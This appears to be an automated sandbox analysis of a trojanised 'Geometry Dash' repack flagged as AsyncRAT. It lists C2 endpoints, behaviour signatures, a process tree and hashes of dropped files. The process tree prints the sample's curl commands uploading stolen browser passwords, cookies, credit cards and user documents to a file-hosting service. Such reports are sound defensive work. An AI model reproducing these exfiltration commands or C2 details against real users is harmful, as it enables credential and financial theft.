Analysis

  • max time kernel
    49s
  • max time network
    43s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    13/04/2024, 08:27

General

  • Target
    Geometry Dash Repack by KrutoiDedusZhar.exe
  • Size 16.2MB
  • Sample240413-kcrbpacd45
  • SHA256 999bc8a61afb4843972ebf37989c2c77f31bd68442f12d159d95667ef3565b5e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • 0.tcp.eu.ngrok.io:10586

  • 0.tcp.eu.ngrok.io:4210

  • 0.tcp.eu.ngrok.io:666

  • 0.tcp.eu.ngrok.io:13229

Mutex
  • ZtjUDZljQjiE

Attributes
  • delay

    3

  • install

    false

  • install_file

    tapinstall.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 44 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 2 IoCs
  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 56 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Geometry Dash Repack by KrutoiDedusZhar.exe
    "C:\Users\Admin\AppData\Local\Temp\Geometry Dash Repack by KrutoiDedusZhar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4296
    • C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe
      "C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe
        "C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3748
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\system32\tasklist.exe
            tasklist
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4692
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile"
          4⤵
            PID:2080
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile"
            4⤵
              PID:4404
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile"
              4⤵
                PID:2884
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile"
                4⤵
                  PID:3036
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile"
                  4⤵
                    PID:4912
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile"
                    4⤵
                      PID:524
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/ResetBackup.snd" https://store1.gofile.io/uploadFile"
                      4⤵
                        PID:4700
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Downloads/BackupPush.wmf" https://store1.gofile.io/uploadFile"
                        4⤵
                          PID:4512
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupUnregister.docm" https://store1.gofile.io/uploadFile"
                          4⤵
                            PID:916
                      • C:\Users\Admin\AppData\Local\Temp\updater.exe
                        "C:\Users\Admin\AppData\Local\Temp\updater.exe"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2424
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp848.tmp.bat""
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2128
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout 3
                            4⤵
                            • Delays execution with timeout.exe
                            PID:4308
                    • C:\Windows\system32\taskmgr.exe
                      "C:\Windows\system32\taskmgr.exe" /4
                      1⤵
                      • Drops file in Windows directory
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2516

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Geometry Dash Cheats Free 2024.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\Geometry Dash Cheats Free 2024.exe
                          • Size 16.1MB
                          • SHA256 de19c26c07b215cfbed6bc008e98952494aba09130b8dddd3a5528d5855aa423
                          • MD5 SHA1 SHA512 SSDEEP

                          VCRUNTIME140_1.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\VCRUNTIME140_1.dll
                          • Size 48KB
                          • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                          • MD5 SHA1 SHA512 SSDEEP

                          _asyncio.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_asyncio.pyd
                          • Size 69KB
                          • SHA256 2dfcaec25de17be21f91456256219578eae9a7aec5d21385dec53d0840cf0b8d
                          • MD5 SHA1 SHA512 SSDEEP

                          _cffi_backend.cp312-win_amd64.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_cffi_backend.cp312-win_amd64.pyd
                          • Size 178KB
                          • SHA256 d8a76d1e31bbd62a482dea9115fc1a109cb39af4cf6d1323409175f3c93113a7
                          • MD5 SHA1 SHA512 SSDEEP

                          _decimal.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_decimal.pyd
                          • Size 245KB
                          • SHA256 e4104e47399d3f635a14d649f61250e9fd37f7e65c81ffe11f099923f8532577
                          • MD5 SHA1 SHA512 SSDEEP

                          _hashlib.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_hashlib.pyd
                          • Size 64KB
                          • SHA256 79c4cde23397b9a35b54a3c2298b3c7a844454f4387cb0693f15e4facd227dd2
                          • MD5 SHA1 SHA512 SSDEEP

                          _multiprocessing.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_multiprocessing.pyd
                          • Size 34KB
                          • SHA256 467b0fef42d70b55abf41d817dff7631faeef84dce64f8aadb5690a22808d40c
                          • MD5 SHA1 SHA512 SSDEEP

                          _overlapped.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_overlapped.pyd
                          • Size 54KB
                          • SHA256 67e6ca6f1645c6928ade6718db28aff1c49a192e8811732b5e99364991102615
                          • MD5 SHA1 SHA512 SSDEEP

                          _queue.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_queue.pyd
                          • Size 31KB
                          • SHA256 3f57f29abd86d4dc8f4ca6c3f190ebb57d429143d98f0636ff5117e08ed81f9b
                          • MD5 SHA1 SHA512 SSDEEP

                          _socket.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_socket.pyd
                          • Size 81KB
                          • SHA256 7daff6aa3851a913ed97995702a5dfb8a27cb7cf00fb496597be777228d7564a
                          • MD5 SHA1 SHA512 SSDEEP

                          _sqlite3.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_sqlite3.pyd
                          • Size 121KB
                          • SHA256 3e96cd9e8abbea5c6b11ee91301d147f3e416ac6c22eb53123eaeae51592d2fe
                          • MD5 SHA1 SHA512 SSDEEP

                          _ssl.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_ssl.pyd
                          • Size 174KB
                          • SHA256 d568b3c99bf0fc35a1f3c5f66b4a9d3b67e23a1d3cf0a4d30499d924d805f5aa
                          • MD5 SHA1 SHA512 SSDEEP

                          _uuid.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_uuid.pyd
                          • Size 24KB
                          • SHA256 d132f754471bd8a6f6d7816453c2e542f250a4d8089b657392fe61a500ae7899
                          • MD5 SHA1 SHA512 SSDEEP

                          _wmi.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\_wmi.pyd
                          • Size 35KB
                          • SHA256 1a105311a5ed88a31472b141b4b6daa388a1cd359fe705d9a7a4aba793c5749f
                          • MD5 SHA1 SHA512 SSDEEP

                          base_library.zip

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\base_library.zip
                          • Size 1.3MB
                          • SHA256 8de4f013bfecb9431aabaa97bb084fb7de127b365b9478d6f7610959bf0d2783
                          • MD5 SHA1 SHA512 SSDEEP

                          md.cp312-win_amd64.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\charset_normalizer\md.cp312-win_amd64.pyd
                          • Size 10KB
                          • SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
                          • MD5 SHA1 SHA512 SSDEEP

                          libcrypto-3.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\libcrypto-3.dll
                          • Size 5.0MB
                          • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                          • MD5 SHA1 SHA512 SSDEEP

                          libssl-3.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\libssl-3.dll
                          • Size 768KB
                          • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                          • MD5 SHA1 SHA512 SSDEEP

                          pyexpat.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\pyexpat.pyd
                          • Size 196KB
                          • SHA256 4779e19ee0f4f0be953805efa1174e127f6e91ad023bd33ac7127fef35e9087b
                          • MD5 SHA1 SHA512 SSDEEP

                          python312.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\python312.dll
                          • Size 6.6MB
                          • SHA256 c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb
                          • MD5 SHA1 SHA512 SSDEEP

                          select.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\select.pyd
                          • Size 29KB
                          • SHA256 680df34fb908c49410ac5f68a8c05d92858acd111e62d1194d15bdce520bd6c3
                          • MD5 SHA1 SHA512 SSDEEP

                          sqlite3.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\sqlite3.dll
                          • Size 1.5MB
                          • SHA256 7da1c4604fc97ba033830a2703d92bb6d10a9bba201ec64d13d5ccbfecd57d49
                          • MD5 SHA1 SHA512 SSDEEP

                          unicodedata.pyd

                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI20642\unicodedata.pyd
                          • Size 1.1MB
                          • SHA256 10ffd5207eeff5a836b330b237d766365d746c30e01abf0fd01f78548d1f1b04
                          • MD5 SHA1 SHA512 SSDEEP

                          updater.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\updater.exe
                          • Size 58KB
                          • SHA256 4d5c1467c4a1c3d8de9cde45abd806945501117899ee107f208f38c06434a325
                          • MD5 SHA1 SHA512 SSDEEP

                          _raw_cbc.pyd

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\Crypto\Cipher\_raw_cbc.pyd
                          • Size 12KB
                          • SHA256 11dd1b49f70db23617e84e08e709d4a9c86759d911a24ebddfb91c414cc7f375
                          • MD5 SHA1 SHA512 SSDEEP

                          _raw_ecb.pyd

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\Crypto\Cipher\_raw_ecb.pyd
                          • Size 10KB
                          • SHA256 3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543
                          • MD5 SHA1 SHA512 SSDEEP

                          VCRUNTIME140.dll

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\VCRUNTIME140.dll
                          • Size 116KB
                          • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                          • MD5 SHA1 SHA512 SSDEEP

                          _bz2.pyd

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\_bz2.pyd
                          • Size 83KB
                          • SHA256 f81dc49eac5ecc528e628175add2ff6bda695a93ea76671d7187155aa6326abb
                          • MD5 SHA1 SHA512 SSDEEP

                          _ctypes.pyd

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\_ctypes.pyd
                          • Size 122KB
                          • SHA256 be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570
                          • MD5 SHA1 SHA512 SSDEEP

                          _lzma.pyd

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\_lzma.pyd
                          • Size 156KB
                          • SHA256 a6e2a5bb7a33ad9054f178786a031a46ea560faeef1fb96259331500aae9154c
                          • MD5 SHA1 SHA512 SSDEEP

                          md__mypyc.cp312-win_amd64.pyd

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
                          • Size 120KB
                          • SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
                          • MD5 SHA1 SHA512 SSDEEP

                          libffi-8.dll

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\libffi-8.dll
                          • Size 38KB
                          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                          • MD5 SHA1 SHA512 SSDEEP

                          python3.dll

                          • Path \Users\Admin\AppData\Local\Temp\_MEI20642\python3.dll
                          • Size 66KB
                          • SHA256 d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/2424-86-0x0000000000020000-0x0000000000034000-memory.dmp

                          memory/2424-87-0x0000000073610000-0x0000000073CFE000-memory.dmp

                          memory/2424-178-0x00000000021C0000-0x00000000021D0000-memory.dmp

                          memory/2424-217-0x0000000004E40000-0x0000000004EDC000-memory.dmp

                          memory/2424-218-0x00000000053E0000-0x00000000058DE000-memory.dmp

                          memory/2424-219-0x0000000004F50000-0x0000000004FB6000-memory.dmp

                          memory/2424-225-0x0000000073610000-0x0000000073CFE000-memory.dmp

                          memory/2424-226-0x00000000021C0000-0x00000000021D0000-memory.dmp

                          memory/2424-227-0x0000000006020000-0x0000000006096000-memory.dmp

                          memory/2424-228-0x0000000005FA0000-0x0000000006004000-memory.dmp

                          memory/2424-229-0x00000000060E0000-0x00000000060FE000-memory.dmp

                          memory/2424-233-0x0000000073610000-0x0000000073CFE000-memory.dmp